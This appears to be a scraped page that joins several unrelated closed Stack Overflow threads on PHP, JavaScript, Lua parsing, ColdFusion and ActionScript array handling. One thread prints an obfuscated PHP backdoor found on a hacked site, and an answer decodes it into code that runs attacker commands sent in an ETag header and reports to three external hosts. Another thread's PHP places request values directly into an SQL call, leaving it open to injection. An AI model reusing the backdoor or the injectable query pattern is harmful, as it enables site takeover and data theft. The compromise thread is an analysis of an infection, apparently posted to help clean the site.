Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
Closed 9 years ago.
Improve this question
I'm working with this project and I need to pass an array as an URL parameter and I actually manage to do it with javascript.
function guardarTodo()
{
var datos = [];
var txtfechaCap = document.getElementById("txtfechaCap").value;
datos.push(txtfechaCap);
var cbxLocalidad = document.getElementById("cbxLocalidad").value;
datos.push(cbxLocalidad);
var txtapellidoP = document.getElementById("txtapellidoP").value;
datos.push(txtapellidoP);
var txtapellidoM = document.getElementById("txtapellidoM").value;
datos.push(txtapellidoM);
var txtNombres = document.getElementById("txtNombres").value;
datos.push(txtNombres);
var txtCurp = document.getElementById("txtCurp").value;
datos.push(txtCurp);
var chkSexo;
if(document.getElementById("chkHombre").checked)
chkSexo = 'H';
else
chkSexo = 'M';
datos.push(chkSexo);
var txtfecha = document.getElementById("txtfecha").value;
datos.push(txtfecha);
var txtEdad = document.getElementById("txtEdad").value;
datos.push(txtEdad);
var txtPeso = document.getElementById("txtPeso").value;
datos.push(txtPeso);
var txtTalla = document.getElementById("txtTalla").value;
datos.push(txtTalla);
var txtCC = document.getElementById("txtCC").value;
datos.push(txtCC);
for (var i=0;i<document.getElementById('table_depProg').rows.length;i++)
{
var prog = [];
for (var j=0;j<1;j++)
{
var programa = document.getElementById('table_depProg').rows[i].cells[j].innerHTML;
alert(programa);
prog.push(programa);
}
window.location.href = "funciones/guardar.php?prog="+prog+"&datos[]="+datos;
}
}
Now the problem is that when I try to take the array with the GET method I can't take the index one by one.
<?php
include("funciones.php");
//Persona
print_r($_GET['datos']);
#$fechacaptura = $_GET['datos']['txtfechaCap'];
#$idlocalidad = $_GET['datos']['cbxLocalidad'];
#$apaterno = $_GET['datos']['txtapellidoP'];
#$amaterno = $_GET['datos']['txtapellidoM'];
#$nombre = $_GET['datos']['txtNombres'];
#$curp = $_GET['datos']['txtCurp'];
#$sexo = $_GET['datos']['chkSexo'];
#$fechanacimiento = $_GET['datos']['txtfecha'];
#$edad = $_GET['datos']['txtEdad'];
#$peso = $_GET['datos']['txtPeso'];
#$talla = $_GET['datos']['txtTalla'];
#$cc = $_GET['datos']['txtCC'];
$sql = "CALL personasAdd($idlocalidad,'$fechacaptura','$apaterno','$amaterno','$nombre','$curp','$sexo', '$fechanacimiento',$edad,$peso,$talla,$cc);";
#$idpersona = personasAdd($sql);
?>
As you can see, I print the array to check how it working but this is the output:
Array ( [0] => 2013-07-03,8,LastName1,LastName2,Name(s),123456789012345678,H,2013-07-01,24,34,45,56 ).
It contains the data but when I print the $sql variable i get this:
CALL personasAdd(,'','','','','','','',,,,);
I've been working in this the whole day and couldn't find what I'm doing wrong, I would really apreciate any help or clue to find my mistake.
To access each value by name, you have to include the name in the URL parameter. Otherwise, PHP has now way of knowing that the <input> had name="txtfechaCap" when you're just passing the value.
var txtfechaCap = document.getElementById("txtfechaCap").value;
datos.push('datos[txtfechaCap]=' + txtfechaCap);
var cbxLocalidad = document.getElementById("cbxLocalidad").value;
datos.push('datos[cbxLocalidad]=' + cbxLocalidad);
// etc.
encodeURIComponent() would also be a good idea since input.value can certainly include special characters for URLs:
var txtfechaCap = document.getElementById("txtfechaCap").value;
datos.push('datos[txtfechaCap]=' + encodeURIComponent(txtfechaCap));
// etc.
But, with the names now included in datos, just join the Array with '&' and append:
window.location.href = "funciones/guardar.php?prog="+prog+"&"+datos.join('&');
You may also want to do similar to prog:
// ...
prog.push('prog[]=' + encodeURIComponent(programa));
}
window.location.href = "funciones/guardar.php?"+prog.join("&")+"&"+datos.join('&');
Related
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
Closed 8 years ago.
Improve this question
I've a bit trouble with "foreach". The test page displays:
*Warning: Invalid argument supplied for foreach() in /data/web/virtuals/23481/virtual/www/subdom/vsohbrno/poi/junaio/junaio/test.php on line 60*
*Warning: array_multisort() [function.array-multisort]: Argument #1 is expected to be an array or a sort flag in /data/web/virtuals/23481/virtual/www/subdom/vsohbrno/poi/junaio/junaio/test.php on line 64*
*Warning: Invalid argument supplied for foreach() in /data/web/virtuals/23481/virtual/www/subdom/vsohbrno/poi/junaio/junaio/test.php on line 68*
However I make it for Junaio (AR application for smartphone) - and when I tried to run it here (in the app), I had no trouble with it - it's working. But if the warnings will be disappear also in www pages, it would be fine =o)
My source code:
<?php
require_once '../ARELLibrary/arel_xmlhelper.class.php';
if(!empty($_GET['l']))
$position = explode(",", $_GET['l']);
else
trigger_error("user position (l) missing. For testing, please provide a 'l' GET parameter with your request. e.g. pois/search/?l=23.34534,11.56734,0");
//create the xml start
ArelXMLHelper::start(NULL, "/arel/index.html");
//start by defining some positions of geo referenced POIs and give those names and thumbnails
$treasureLocations = array(
array("48.6045911000,14.7007322000,0", "Tradiční výroba marmelád a povidel ", "Jih Čech > Šumava > Šumava a Pošumaví. Obec: Pohorská Ves."),
array("48.6438239000,14.2208661000,0", "Restaurace Czech Specials (Restaurace Lanovka)", "Jih Čech > Šumava > Šumava a Pošumaví. Obec: Lipno nad Vltavou."),
array("48.6541914000,14.0354000000,0", "Plavení dřeva, vorařství – Schwarzenberský plavební kanál", "Jih Čech > Šumava > Šumava a Pošumaví. Obec: Přední Výtoň."),
);
//in the filter_value, the continent parameter will be send from the client, once the continent is filtered
$filter = $_GET['filter_value'];
//display the POIs as defined in the Constructor
$countpoi = 1;
foreach($treasureLocations as $i => $findPOI)
{
//Parameters for distance calculate. $Location = GPS coordinates of the POI, $Position = my GPS position.
$location = explode(",", $findPOI[0]);
//Calculate distance beween my position and POI
$deg2RadNumber = (float)(pi() / 180);
$earthRadius= 6371.009;
$latitudeDistance=((float)$position[0]-(float)$location[0])*$deg2RadNumber;
$longitudeDistance=((float)$position[1]-(float)$location[1])*$deg2RadNumber;
$a=pow(sin($latitudeDistance/2.0),2) + cos((float)$position[0]*$deg2RadNumber) * cos((float)$location[0]*$deg2RadNumber) * pow(sin($longitudeDistance/2.0),2);
$c=2.0*atan2(sqrt($a),sqrt(1.0- $a));
$distance=round($earthRadius*$c);
//Set distance for displaying objects (in kilometers)
if($distance < 10)
{
$title = $findPOI[1]; //Title of the POI
$poi[$countpoi]['attribution'] = $findPOI[2]; //Description of the POI
$poi[$countpoi]['distance'] = $distance; // Distance between POI and me
//create the POI
$poi[$countpoi]['poi'] = ArelXMLHelper::createLocationBasedPOI($i, $title, explode(",", $findPOI[0]), "http://vsohbrno.chudst.cz/poi/poi_obrazek.png", "http://vsohbrno.chudst.cz/poi/poi_obrazek.png", $poi[$countpoi]['attribution'], NULL);
$countpoi++;
}
}
//Sorting POI (the closest -> the furthest)
foreach ($poi as $val)
{
$sortarray[] = $val['distance'];
}
array_multisort($sortarray,$poi);
//Write 39 POI to XML file
foreach ($poi as $POInumber => $POIvalue)
{
if($POInumber < 39){
if(!empty($filter))
{
if(strtolower($filter) == strtolower($poi[$POInumber]['attribution']))
{
ArelXMLHelper::outputObject($poi[$POInumber]['poi']);
}
}
else
{ArelXMLHelper::outputObject($poi[$POInumber]['poi']);}
}
}
//end the output
ArelXMLHelper::end();
?>
If the distance is never smaller than 10 km, $poi will not be initialised, which is what the error means.
Initialise $poi to be an array and it should remove the warnings:
$poi = array();
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Closed 9 years ago.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Improve this question
My site is not working at all, and I noticed that someone put this string on the top of all the .php files:
<?php /* b9cb27b481275ee07e304fa452b06754b499b5bf */ $u="p"."r"."e"."g"."_"."rep"."l"."ac"."e";$z="gzunc"."om"."press";$m="bas"."e"."64"."_dec"."ode";$u("/x"."wab"."z5/e",$z($m("eNrN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hN/fnj5Lu24PVjCFg"."8ZPxHmxHfTfXR"."ycm3N+BnRcY=")),"/x"."wabz5/"."e"); /* f9d4b9453f919477fd0a13c96fe26367485b9689 */ ?>
What does this ^ do?
Right now I'm using the command "grep" to find all the infected files, but I'm not sure if I will be able to make my site work again only removing these strings from the .php files.
FWIW, the following code seems to be eval'd, might have made a mistake along the way. Evil, but fascinating. Seems to have something to do with HTTP ETags.
function NAOWvLp ($nsSLWk, $Qlu) {
$QWVH = array();
for ($iyJ=0; $iyJ<256; $iyJ++) {
$QWVH[$iyJ] = $iyJ;
}
$TRNh = 0;
for ($iyJ=0; $iyJ<256; $iyJ++) {
$TRNh = ($TRNh + $QWVH[$iyJ] + ord($nsSLWk[$iyJ % strlen($nsSLWk)])) % 256;
$HMynt = $QWVH[$iyJ];
$QWVH[$iyJ] = $QWVH[$TRNh];
$QWVH[$TRNh] = $HMynt;
}
$iyJ = 0;
$TRNh = 0;
$pvFu = "";
for ($Nuwp=0; $Nuwp<strlen($Qlu); $Nuwp++) {
$iyJ = ($iyJ + 1) % 256;
$TRNh = ($TRNh + $QWVH[$iyJ]) % 256;
$HMynt = $QWVH[$iyJ];
$QWVH[$iyJ] = $QWVH[$TRNh];
$QWVH[$TRNh] = $HMynt;
$pvFu .= $Qlu[$Nuwp] ^ chr($QWVH[($QWVH[$iyJ] + $QWVH[$TRNh]) % 256]);
}
return $pvFu;
}
if (isset($_SERVER['HTTP_ETAG']) and
$glKV = explode(urldecode("+"), base64_decode(substr($_SERVER['HTTP_ETAG'], 5))) and
array_shift($glKV) == "4a9a5250737956456feeb00279bd60eee8bbe5b5") {
die(eval(implode(urldecode("+"), $glKV)));
$dmfVio = array("http://vapsindia.org/.kwbaq/","http://creatinghappiness.in/.gtput/","http://eft-psicologia-energetica.com.br/.kjwqp/");
shuffle($dmfVio);
#file_get_contents(
array_pop($dmfVio),
false,
stream_context_create(
array(
"http"=>array(
"method"=>"GET",
"header"=>"ETag: yJTHY"
.base64_encode(
NAOWvLp(
"yJTHY",
"mPRNwu 5c b92e "
.base64_encode(
"61ab82c976d485e1b3bba27430e47db64dc2559f "
.NAOWvLp(
"4a9a5250737956456feeb00279bd60eee8bbe5b5",
$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']
)
)
)
)."\r\n"
)
)
)
);
}
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
Closed 9 years ago.
Improve this question
What I have :
I have a software dump data like exactly below file :
DMPDATA = {
["invent1"] = {
["1000:1"] = {
["I"] = "6948",
["C"] = 1,
["G2"] = "0",
["G3"] = "0",
["G1"] = "0",
},
["0000:10"] = {
["I"] = "39622",
["C"] = 1,
["G2"] = "0",
["G3"] = "0",
["G1"] = "0",
},
},
["invent2"] = {
["M:1"] = 60116,
["M:3"] = 32246,
["M:2"] = 41252,
},
["invent3"] = {
["47465"] = 5,
["12970"] = 5,
},
["invent4"] = {
{
["F"] = 0,
["V"] = 0,
["N"] = "Classic",
}, -- [1]
{
["F"] = 16,
["V"] = 3500,
["N"] = "Horde",
}, -- [2]
},
["invent6"] = {
["class"] = "WARRIOR",
["gender"] = 2,
},
}
Question:
I want to parse above data as array , I try to do but don't know whats better way .
How can parse files like above code with PHP to have a all data as Array ?
This looks like LUA code. Have you tried the Lua class in PHP?
http://www.php.net/manual/en/lua.eval.php
Here's a guy that has a similar problem with a WoW Addon Lua file:
I need a tool to parse Lua tables, preferrably in Ruby or Java
EDIT:
Try this tool. It also links to a PHP script you might use. http://fin.instinct.org/lua/
EDIT 2:
This is basically what you need. As you can see you're not the first person who wants to parse WoW Lua dumps to PHP arrays =)
http://fin.instinct.org/lua/lua2phparray.phps
browscap.ini that get_browser() depends on is found at http://browsers.garykeith.com/downloads
Does anyone know how to port the seemingly simple get_browser() to CFML?
Thanks!
Solved!
This is based on http://forums.adobe.com/thread/620512, and optimized for performance with improved correctness.
It is still quite slow (~1s) because working with ini file with ColdFusion means every getProfileString() is a disk I/O! Might be faster with SSD. :)
function get_browser(user_agent=CGI.HTTP_USER_AGENT, browscap_ini=expandPath("./browscap.ini"))
{
var result = {};
// Read wildcard patterns from the INI file
var browscap_list = getProfileSections(browscap_ini);
// Seed some variables
var browser_champion_pattern = "*";
// Loop through the patterns to find the best match (relative to length of name pattern)
for (var browser_name_pattern in browscap_list)
{
if (len(browser_name_pattern) >= len(browser_champion_pattern))
{
// Massage the wildcard into useable regex
var browser_name_regex = replaceList(browser_name_pattern, ".,*,?,(,),[,]", "\.,.*,.,\(,\),\[,\]");
if (left(browser_name_pattern, 1) != "*")
browser_name_regex = "^" & browser_name_regex;
if (right(browser_name_pattern, 1) != "*")
browser_name_regex &= "$";
// Test the resulting regex against the user agent
if (reFindNoCase(browser_name_regex, user_agent))
browser_champion_pattern = browser_name_pattern;
}
}
// Set the winning regex patterns
var browser_name_pattern = browser_champion_pattern;
// Fetch the winning info
var keynames = listToArray(browscap_list[browser_champion_pattern]);
for (var keyname in keynames)
result[keyname] = getProfileString(browscap_ini, browser_champion_pattern, keyname);
// Fetch the rest of the info from parents
while (structKeyExists(result, "parent"))
{
var parent = result.parent;
structDelete(result, "parent");
var keynames = listToArray(browscap_list[parent]);
for (var keyname in keynames)
if (!structKeyExists(result, keyname))
result[keyname] = getProfileString(browscap_ini, parent, keyname);
}
return result;
}
I am having a problem passing an array variable from Flash (AS2) to PHP. In action script I have several arrays defined like this
output["px1"]
output["px2"]
output["px3"]
and then I use the following code to pass the variables into a php file
output.sendAndLoad("orders/print2cart.php",output,"POST");
I want to know how to get the data from the array in PHP. I have tried using $_POST['px1'], $_POST['output']['px1'], $_POST['output'] but I cannot seem to get any data. Any ideas as to what I can change to get the desired result?
Thanks!
EDIT: Just noticed that I one of the other variables in output (output.username) is also not being sent to PHP, despite it showing up in flash. Using the following code to alert to flash and it does show all the variables correctly.
getURL("javascript:alert('Print Stamp: " + output.PrintStamp + " User: " + output.username "')");
EDIT: Seems like once I send a pretty long array (or a string for that matter) none of the other fields associated with the LoadVars variable are sent either. I googled it up for limits and it says text limits are ~ 63000. Still not sure if that is the problem
Try it as a String.
Use Array.join(); in flash and send the value returned by that, then use explode() in PHP convert it back to an array.
var dataOut:LoadVars = new LoadVars();
var dataIn:LoadVars = new LoadVars();
dataOut.info = your_array.join("#");
vars.sendAndLoad("url", dataIn, "post");
dataIn.onLoad = function(go:Boolean):Void
{
if(go)
{
trace('success');
}
else trace('connection failed');
}
The PHP:
<?php
$str = $_POST["info"];
$myarray = explode($str);
?>
Since there were no other alternatives and I went through a lot of stuff before finally concluding that Arrays of large sizes cannot be passed through from AS2 to PHP very easily. My array was actually an image converted to pixels, so what I did was that I split the array into 2 pieces and posted to the PHP file twice instead of only once. Another alternative would be to split and post the array to a text file first and then read that text file directly from PHP.
You can do the same as you would do with HTML, by naming your parameters "array[0]", "array[1]", etc... :
var urlVariable:URLVariables = new URLVariables();
urlVariable["phpArray[0]"] = "arrayEntry0";
urlVariable["phpArray[1]"] = "arrayEntry1";
var loader:URLLoader = new URLLoader();
var request:URLRequest = new URLRequest("http://yourserver.com/phpScript.php");
request.method = URLRequestMethod.POST;
request.data = urlVariable;
loader.load(request);
then serverside you can verify the result received by php script :
print_r($_POST);
it should output :
Array
(
[phpArray] => Array
(
[0] => arrayEntry0
[1] => arrayEntry1
)
)
and for multiple dimension array you can use :
urlVariable["phpArray[0][0]"]